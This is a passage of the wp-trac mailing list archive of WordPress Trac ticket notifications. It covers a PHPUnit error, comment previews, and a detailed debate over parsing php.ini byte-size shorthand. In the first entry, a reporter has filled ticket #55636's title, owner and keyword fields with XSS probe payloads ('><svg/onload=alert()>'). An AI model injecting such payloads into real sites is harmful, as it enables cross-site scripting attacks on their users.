<https://core.trac.wordpress.org/ticket/55636> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 22:49:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 22:49:40 -0000 Subject: [wp-trac] [WordPress Trac] #55636: "><svg/onload=alert()> In-Reply-To: <057.3e0377ff749ee946eb4c252a79b12f05@wordpress.org> References: <057.3e0377ff749ee946eb4c252a79b12f05@wordpress.org> Message-ID: <057.3e0377ff749ee946eb4c252a79b12f05@wordpress.org> #55636: "><svg/onload=alert()> ---------------------------------------+----------------------------------- Reporter: zzzzlukman445 | Owner: | "><svg/onload=alert()> Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: trunk Severity: normal | Resolution: Keywords: "><svg onload=confirm(1)> | Focuses: ---------------------------------------+----------------------------------- Changes (by zzzzlukman445): * Attachment "1.pht" removed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55636> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 23:22:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 23:22:29 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.60ce58761bc38dd8096a7dc245263da2@wordpress.org> #55632: WordPress database error when running PHPUnit tests ---------------------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: needs-patch needs-testing | Focuses: ---------------------------------------+--------------------- Comment (by peterwilsoncc): cc @hellofromTonya Thanks for reporting this @Chouby, as always your efforts testing beta and RC releases is greatly appreciated. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 23:25:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 23:25:29 -0000 Subject: [wp-trac] [WordPress Trac] #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments In-Reply-To: <052.2f74665a7c014d0c78560671f0f28c03@wordpress.org> References: <052.2f74665a7c014d0c78560671f0f28c03@wordpress.org> Message-ID: <067.6969755eb4028d7a2e15bad717c666db@wordpress.org> #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments --------------------------------------+---------------------------- Reporter: darerodz | Owner: peterwilsoncc Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+---------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => accepted * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55634#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 23:28:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 23:28:06 -0000 Subject: [wp-trac] [WordPress Trac] #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments In-Reply-To: <052.2f74665a7c014d0c78560671f0f28c03@wordpress.org> References: <052.2f74665a7c014d0c78560671f0f28c03@wordpress.org> Message-ID: <067.9871b4d1a666539a41ae4a74677a632d@wordpress.org> #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments --------------------------------------+---------------------------- Reporter: darerodz | Owner: peterwilsoncc Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+---------------------------- Changes (by peterwilsoncc): * version: => trunk * type: enhancement => defect (bug) Comment: Also marking this as a bug as it's a long term feature WP that is needed for FSE too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55634#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 00:17:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 00:17:51 -0000 Subject: [wp-trac] [WordPress Trac] #55636: Drag and drop video's go to the top of the page. Message-ID: <054.c4c330cb96d496557bc8ee225f1181a8@wordpress.org> #55636: Drag and drop video's go to the top of the page. --------------------------+------------------------------- Reporter: RaymondDay | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: changes-requested Focuses: | --------------------------+------------------------------- Take some time going to the right part to drop a video in and then it put's it at the top. Nice can just use the arrows or hold and drag it to the right spot. It's nice too that now it shows like a icon that it's still uploading. But what would be nice is a bar to show the % of it uploading. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55636> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 00:24:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 00:24:15 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.6977e6a741d0e206d0bcb6676d0e7005@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback | -------------------------------------------------+------------------------- Description changed by SergeyBiryukov: Old description: > Resolves #17725 > > When `wp_convert_hr_to_bytes()` was introduced in > [https://core.trac.wordpress.org/changeset/4388/ 4388] it provided a > simplified mechanism to parse the values returned by functions like > `ini_get()` which represent byte sizes. The over-simplified approach has > led to issues in that function reporting the wrong byte sizes for various > php.ini directives, leading to confusing problems such as uploading files > that are rejected improperly or accepted improperly. > > In this patch we're porting the parser from PHP's own source (which has > remained stable for decades and probably can't change without major > breakage) in order to more accurately reflect the values it uses when it > reads those configurations. > > Unfortunately PHP doesn't offer a mechanism to read its own internal > value for these fields and a 100% port is extremely cumbersome (at best) > due to the different ways that PHP and C handle signed integer overflow. > These differences should only appear when supplying discouraged/invalid > values to the system anyway, and PHP warns that in these situations > things are likely to break anyway. > > Over the years this function has been modified a couple of times in ways > that this patch reverts: > - [https://core.trac.wordpress.org/changeset/38013 38013] introduced a > `PHP_INT_MAX` limit in a way that coerces hexadecimal and octal integer > representations to decimal. > - [https://core.trac.wordpress.org/changeset/35325 35325] replaced the > hard-coded byte size with overwritable constants but if there were any > occasion for someone to change those constants in `wp-config.php` then we > would actually want to preserve the hard-coded values in > `wp_convert_hr_to_bytes()` since that function refers to code inside of > PHP, not inside of WordPress. > - The original code from > [https://core.trac.wordpress.org/changeset/4388/ 4388] looks for the > presence of the suffixes //anywhere// within the value string and > prioritizes `g` over `m` over `k` whereas PHP only looks at the last > character in the input string (this is something that > [https://core.trac.wordpress.org/attachment/ticket/17725/17725.3.diff > 17725.3.diff] got right). This can cause unexpected parses, such as with > `14gmk` when WordPress interprets it as 14GiB but PHP interprets it as > 14KiB. > > Further we do acknowledge the mismatch between PHP's definition of > "gigabyte"/"megabyte"/"kilobyte" being factors of 1024 apart from each > other and the standard of being 1000. WordPress follows PHP's convention > so this is simply noted in the function and preserved. > > This patch introduces new behaviors which might seem unexpected or wrong. > It's important to consider that this function exists because PHP doesn't > expose the values it parses from the php.ini directives. Therefore it's > job in WordPress can be considered to do as best as it can to represent > what's really happening inside of PHP; this may not match our intuition > about what PHP should be doing. To that end the over-simplified code for > the past 16 years has misreported many plausible-looking values like > `100MB` (which PHP interprets as 100 bytes but WordPress thinks is 100 > MiB). > > **Testing** > > In order to fully verify the updated code we have to understand PHP's > interpretation of the php.ini directive values. One way to do this is to > set a value, `upload_max_size` for instance, in any number of the > possible configurable places and then make repeated uploads to see if > it's rightfully accepted or rejected. This is cumbersome. > > An alternative approach is to compile PHP locally with added > instrumentation; this is the approach taken in preparing this PR. The > following patch will report three values every time a "Long" value is > parsed from a php.ini directive: the shorthand value being parsed, the > bound `long` value before applying the magnitude suffix, and the > possibly-overflowed value derived from applying the possible `g`, `m`, > and `k` suffixes. > > {{{#!diff > diff --git a/Zend/zend_operators.c b/Zend/zend_operators.c > index 8a0cc813..362cef76 100644 > --- a/Zend/zend_operators.c > +++ b/Zend/zend_operators.c > @@ -164,6 +164,9 @@ ZEND_API zend_long ZEND_FASTCALL zend_atol(const char > *str, size_t str_len) /* { > break; > } > } > + > + printf("zend_atol( \"%s\" ) = %lld : %lld\n", str, > ZEND_STRTOL(str, NULL, 0), retval); > + > return (zend_long) retval; > } > /* }}} */ > }}} > > For example, a sampling of values run through PHP produces this output. > > {{{#!bash > zend_atol( "0" ) = 0 : 0 > zend_atol( "0g" ) = 0 : 0 > zend_atol( "1g" ) = 1 : 1073741824 > zend_atol( "3G" ) = 3 : 3221225472 > zend_atol( "3mg" ) = 3 : 3221225472 > zend_atol( "3km" ) = 3 : 3145728 > zend_atol( "boat" ) = 0 : 0 > zend_atol( "-14k" ) = -14 : -14336 > zend_atol( "-14chairsg" ) = -14 : -15032385536 > zend_atol( "9223372036854775807" ) = 9223372036854775807 : > 9223372036854775807 > zend_atol( "9223372036854775807g" ) = 9223372036854775807 : -1073741824 > zend_atol( "9223372036854775808" ) = 9223372036854775807 : > 9223372036854775807 > zend_atol( "0xt" ) = 0 : 0 > zend_atol( "0x5teak_and_egg" ) = 5 : 5368709120 > }}} New description: Resolves #17725 When `wp_convert_hr_to_bytes()` was introduced in [4388] it provided a simplified mechanism to parse the values returned by functions like `ini_get()` which represent byte sizes. The over-simplified approach has led to issues in that function reporting the wrong byte sizes for various php.ini directives, leading to confusing problems such as uploading files that are rejected improperly or accepted improperly. In this patch we're porting the parser from PHP's own source (which has remained stable for decades and probably can't change without major breakage) in order to more accurately reflect the values it uses when it reads those configurations. Unfortunately PHP doesn't offer a mechanism to read its own internal value for these fields and a 100% port is extremely cumbersome (at best) due to the different ways that PHP and C handle signed integer overflow. These differences should only appear when supplying discouraged/invalid values to the system anyway, and PHP warns that in these situations things are likely to break anyway. Over the years this function has been modified a couple of times in ways that this patch reverts: - [38013] introduced a `PHP_INT_MAX` limit in a way that coerces hexadecimal and octal integer representations to decimal. - [35325] replaced the hard-coded byte size with overwritable constants but if there were any occasion for someone to change those constants in `wp-config.php` then we would actually want to preserve the hard-coded values in `wp_convert_hr_to_bytes()` since that function refers to code inside of PHP, not inside of WordPress. - The original code from [4388] looks for the presence of the suffixes //anywhere// within the value string and prioritizes `g` over `m` over `k` whereas PHP only looks at the last character in the input string (this is something that [https://core.trac.wordpress.org/attachment/ticket/17725/17725.3.diff 17725.3.diff] got right). This can cause unexpected parses, such as with `14gmk` when WordPress interprets it as 14GiB but PHP interprets it as 14KiB. Further we do acknowledge the mismatch between PHP's definition of "gigabyte"/"megabyte"/"kilobyte" being factors of 1024 apart from each other and the standard of being 1000. WordPress follows PHP's convention so this is simply noted in the function and preserved. This patch introduces new behaviors which might seem unexpected or wrong. It's important to consider that this function exists because PHP doesn't expose the values it parses from the php.ini directives. Therefore it's job in WordPress can be considered to do as best as it can to represent what's really happening inside of PHP; this may not match our intuition about what PHP should be doing. To that end the over-simplified code for the past 16 years has misreported many plausible-looking values like `100MB` (which PHP interprets as 100 bytes but WordPress thinks is 100 MiB). **Testing** In order to fully verify the updated code we have to understand PHP's interpretation of the php.ini directive values. One way to do this is to set a value, `upload_max_size` for instance, in any number of the possible configurable places and then make repeated uploads to see if it's rightfully accepted or rejected. This is cumbersome. An alternative approach is to compile PHP locally with added instrumentation; this is the approach taken in preparing this PR. The following patch will report three values every time a "Long" value is parsed from a php.ini directive: the shorthand value being parsed, the bound `long` value before applying the magnitude suffix, and the possibly- overflowed value derived from applying the possible `g`, `m`, and `k` suffixes. {{{#!diff diff --git a/Zend/zend_operators.c b/Zend/zend_operators.c index 8a0cc813..362cef76 100644 --- a/Zend/zend_operators.c +++ b/Zend/zend_operators.c @@ -164,6 +164,9 @@ ZEND_API zend_long ZEND_FASTCALL zend_atol(const char *str, size_t str_len) /* { break; } } + + printf("zend_atol( \"%s\" ) = %lld : %lld\n", str, ZEND_STRTOL(str, NULL, 0), retval); + return (zend_long) retval; } /* }}} */ }}} For example, a sampling of values run through PHP produces this output. {{{#!bash zend_atol( "0" ) = 0 : 0 zend_atol( "0g" ) = 0 : 0 zend_atol( "1g" ) = 1 : 1073741824 zend_atol( "3G" ) = 3 : 3221225472 zend_atol( "3mg" ) = 3 : 3221225472 zend_atol( "3km" ) = 3 : 3145728 zend_atol( "boat" ) = 0 : 0 zend_atol( "-14k" ) = -14 : -14336 zend_atol( "-14chairsg" ) = -14 : -15032385536 zend_atol( "9223372036854775807" ) = 9223372036854775807 : 9223372036854775807 zend_atol( "9223372036854775807g" ) = 9223372036854775807 : -1073741824 zend_atol( "9223372036854775808" ) = 9223372036854775807 : 9223372036854775807 zend_atol( "0xt" ) = 0 : 0 zend_atol( "0x5teak_and_egg" ) = 5 : 5368709120 }}} -- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 00:42:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 00:42:39 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.4587f9a7139fdffbe9f1b58a7a1645e0@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback | -------------------------------------------------+------------------------- Comment (by SergeyBiryukov): Thanks for the patch! Replying to [ticket:55635 dmsnell]: > [35325] replaced the hard-coded byte size with overwritable constants but if there were any occasion for someone to change those constants in `wp-config.php` then we would actually want to preserve the hard-coded values in `wp_convert_hr_to_bytes()` since that function refers to code inside of PHP, not inside of WordPress. Just noting that these constants are defined unconditionally in `wp_initial_constants()`, and it is not possible to change them in `wp- config.php` without getting PHP warnings, so the comment that they are redefinable seems inaccurate. I think it's safe to continue using them here, as it is their intended purpose to be used across all of core for better readability, instead of "magic numbers". -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 01:16:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 01:16:33 -0000 Subject: [wp-trac] [WordPress Trac] #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments In-Reply-To: <052.2f74665a7c014d0c78560671f0f28c03@wordpress.org> References: <052.2f74665a7c014d0c78560671f0f28c03@wordpress.org> Message-ID: <067.8061ca2c4d7e40b83163ac1a9e4f6f40@wordpress.org> #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments --------------------------------------+---------------------------- Reporter: darerodz | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+---------------------------- Changes (by peterwilsoncc): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53298" 53298]: {{{ #!CommitTicketReference repository="" revision="53298" Editor: Show comment previews in the Comment Query Loop. Update `build_comment_query_vars_from_block()` to show previews of unmoderated comments to the original author of the comment. This duplicates the existing logic in `wp_list_comments()`. Props darerodz, bernhard-reiter, czapla. Fixes #55634. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55634#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 01:30:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 01:30:09 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.8b2700e580b976322d405f93539d51f2@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "55635.2.diff" added. Patch updated. Single line comments converted to `//` format. Multiline comments converted to `/* * */` format. WPCS fixes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 01:36:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 01:36:02 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.73a9f22051c0614137b4ab2def5ba7e8@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: needs-unit-tests has-patch dev-feedback => needs-unit-tests has-patch dev-feedback changes-requested Comment: The current patch causes errors in the tests and one test failure. Errors: - 2x `Trying to access array offset on value of type int` when an integer is passed. `$value` should be cast to `string`. Failure: - Test value: `'128m '` (note the trailing whitespace) - Expected result: `134217728` - Actual result: `128` See `tests/phpunit/tests/load/wpConvertHrToBytes.php` at line 34 for the datasets. Run `vendor/bin/phpunit --filter Tests_Load_wpConvertHrToBytes` to run the tests locally. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 01:55:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 01:55:54 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.845b0e3ffcd3d3a0215768d454d8c508@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Changes (by dd32): * Attachment "55635.3.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 02:01:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 02:01:53 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.809f413333400f7c2d87879170a65ffa@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Comment (by dd32): I absolutely hate the idea of writing PHP in the C style, but ultimately love the reason for doing so. However, I have some concerns, specifically that this is a bit over the top for what it's trying to do. My notes: - `GB_IN_BYTES` can technically be changed, but if someone does that they deserve it. - The leading whitespace checks aren't working, as it's using single- quoted strings, so looking for a literal '\t' 2-character string - Isn't written in PHP coding style - I don't think it needs to mirror PHP's parsing for a specific config [attachment:"55635.3.diff"] is my take on the original issue, I haven't run it against the unit tests, but I think it'll resolve the underlying intention. You can see the evolution in this gist: https://gist.github.com/dd32/b6d757bf26f7e417621076fe06925ea5/revisions where I took [attachment:"55635.diff"] and slowly migrated it back to PHP, before coming to the conclusion that `inval( $s, 0 )` is almost the same, albeit with additional binary notation support (which PHP ignores for ini settings, but that's fine IMHO) It's worth noting, that just because PHP parses it one way, it's not necessarily strictly required that `wp_convert_hr_to_bytes()` should handle those extreme edge-cases.. but there's some obvious improvements that can be made here. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 02:23:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 02:23:50 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.3b7c281111b4e08dcb23fceb0edda097@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Changes (by dd32): * Attachment "55635.3.1.diff" added. With less PHP fatals :facepalm: -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 03:19:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 03:19:19 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.b7758ae31f357ba9eae6d17b9430d082@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Comment (by dmsnell): Thank you @SergeyBiryukov; I wasn't sure if those constants could be redefined but I figured there was a reasonable case for doing so, that being to avoid confusion with the way PHP and WordPress use the backwards definitions. That is, maybe you want your site to show a 400MB image as 400MB and not as 381 (because the computer will show it as 400, a phone will show it as that, etc…). I get that it could be rare and we can blame someone for changing this value if their site breaks, but on the other hand I figured it was one of those things where it's just as simple to do it right and it was adding the abstraction that introduced the potential for a bug, why not just keep it simple and accurate. Again, maybe we want a different function if people don't agree on the purpose of `wp_convert_hr_to_bytes()`, but its sole purpose is reporting how many bytes are represented by a given php.ini directive, and that's actually what led me to discover this discrepancy, so my patch proposed doing that. @costdev I'm definitely not up on WordPress coding conventions but did you see that your patch stripped away the PHPdoc information from my patch? With those docblock style comments various IDEs and tools do provide helpful inline documentation whereas without them that disappears. If we aren't allowing them (of which I see literally thousands in the existing code so I think we are) then maybe we should remove them entirely from this patch. If it's something more superficial, such as the linter expected them to be multi-line comments I think it would be better to fix the tool or add the newlines because those comments aren't that useful if they're detached from the variables they describe. > Trying to access array offset on value of type int when an integer is passed. $value should be cast to string. Is this an error from real code or possibly just from a test? We can always add extra runtime type-checking and casting, though it seems like the intention here is to only be called with data from `ini_get()` which only returns string values (or `false`, which I suppose would be good to guard against). I checked and I don't believe any code in Core should be passing an integer so maybe there's buggy test code out there doing that thinking that this function wants an integer? > Test value: '128m ' (note the trailing whitespace) > Expected result: 134217728 > Actual result: 128 As noted in the patch description and in the patch itself I expect some existing assumptions to break because in this case we have an invalid test and I'll need to make sure to update the test to reflect that. WordPress has been reporting `128m ` as 128 MiB but PHP will have limited the actual size to 128 bytes and so it will reject basically every file uploaded and the errors will be confusing: "Your upload limit is 128 MB, your 15 KB file could not be uploaded because it's too big." Thanks for pointing out the style and lint issues and also the test. It's my plan to add tests, but I couldn't get to it today. Concerning the list of `$digits` do we have a policy for excluding the formatting rule? I personally found it more distracting as a large multi- line list and so am hoping we can exclude that array for the sake of not distracting what's going on in the rest of the function. > I absolutely hate the idea of writing PHP in the C style, but ultimately love the reason for doing so. I love the feedback @dd32 :) By the way the goal wasn't to write in C style but to simply have WordPress agree with PHP for the values of these memory sizes. When I started my code looked much more like your patch but I had to keep unwrapping it. In my head I keep going back to the idea: this isn't about telling PHP what to do so much as it is to properly read the values of those configs, though I'm confused on why PHP doesn't expose a way to read them. > GB_IN_BYTES can technically be changed, but if someone does that they deserve it. Is it worth punishing someone who makes a mistake, or punishing the users of their site for their mishap, when doing so requires adding a layer of abstraction which can introduce a bug that isn't present in the simpler code? Case in point, 55635.3.1.diff has two typos (`BYES` instead of `BYTES`); granted, they are there when pulling those constants back in after I removed them, but in older versions of PHP that would have returned the string `MB_IN_BYES` instead of the constant or instead of throwing an error. > The leading whitespace checks aren't working, as it's using single- quoted strings, so looking for a literal '\t' 2-character string Very nice catch 🙇‍♂️. I did my local testing with spaces but not with tabs yet. It's my intention to add an illustrative test suite to this to demonstrate cases just like this. > Isn't written in PHP coding style I'm happy to update things to match WordPress style. Is this more a comment about style rules or about it not reading like other PHP tends to look? While certain aspects of this are more complicated than using `(int)` or `intval()`, they are written because of quirks on one or both sides of PHP/WordPress and are there to avoid knowingly misreporting memory size values. There's one other approach I considered which was to build the scalar value by joining the digits as we parse them and then use PHP casting or `intval()` to do the numeric parsing. That's still an option but I want to avoid using `(int)` or other approaches on the input value because (as you noted) it incorporates a different semantic for how it parses numbers. If the goal is to be generally accurate enough for common configurations I don't think this patch is necessary, but if the goal is to accurately reflect the configured value then I disagree that it's good enough to be right most of the time and wrong in a broad number of situations. I'm particularly sensitive to this context since it could be easy to craft particular values that don't show errors and which WordPress shows as being reasonable but for which PHP has a very different value. The broken test-case that failed is an example, where WordPress is off by a factor of a million and it's the difference between allowing fairly large uploads and practically disabling all uploads albeit with a very conflicted error message. Also different versions of PHP result in different behaviors for `intval()` and some of those changes are as recent as 7.1. For example, `1e6` is //one byte//, not as //one million bytes// as `intval()` on PHP 8.1 is reporting it. A RegExp was another approach I considered but felt was starting to stuff too much complexity into the code and too divergent from what's going on in PHP under the hood, and brought in more overhead than we need. At least with this incantation there's a general match between the purpose of the function and the algorithm taken to parse the config values. Should PHP decide to change this for some reason it should remain fairly straightforward to update the WordPress side and not have to rethink abstractions or new concepts introduced to cover the style differences. > I don't think it needs to mirror PHP's parsing for a specific config Noted: I disagree :) Again, if we don't particularly care about the accuracy I don't see the point in fixing a small number of additional cases while leaving a very wide door for very misleading parses. Obviously I too have a subjective threshold because I've left the overflow cases out of this. Those cases seem a bit different though for these reasons: - The PHP code involves some amount of undefined behavior and so it may not be possible to be generally accurate in those cases; a fix on my machine may not also fix a build with another compiler on another architecture or system or OS. - The PHP code issues a warning against using these incorrect values. - Writing the PHP to simulate the integer overflow was giving me quite the headache and I think it would involve quite a bit more complexity than the rest of this patch, which is mostly scanning through the string character by character in a single pass and pulling out values of interest. We actually know that the digit parsing won't overflow because we have a defined behavior in `strtol()`. If there's no final `g`, `m`, or `k` value then I believe this should be a 100% match. We should be able to easily detect //if// an overflow should occur, but we don't have a way to respond to that that's clearly //right// (and while it seems reasonable to return `0` in such cases that also is more of a feeling than something that corresponds to the reality of the system). > Additional edit: If you want to test the PHP parsing Nice! Obviously more helpful for smaller values than ones like `9223372036854775807` (64-bit max integer) but doesn't require compiling PHP. --- Obviously I'll need to fix the bugs mentioned above. Thank you all for sharing your feedback here. Hope you don't mind the wall of text; it was my intention to share the context behind why I wrote what I did and the reasoning leading my thoughts. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 03:44:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 03:44:00 -0000 Subject: [wp-trac] [WordPress Trac] #55635: 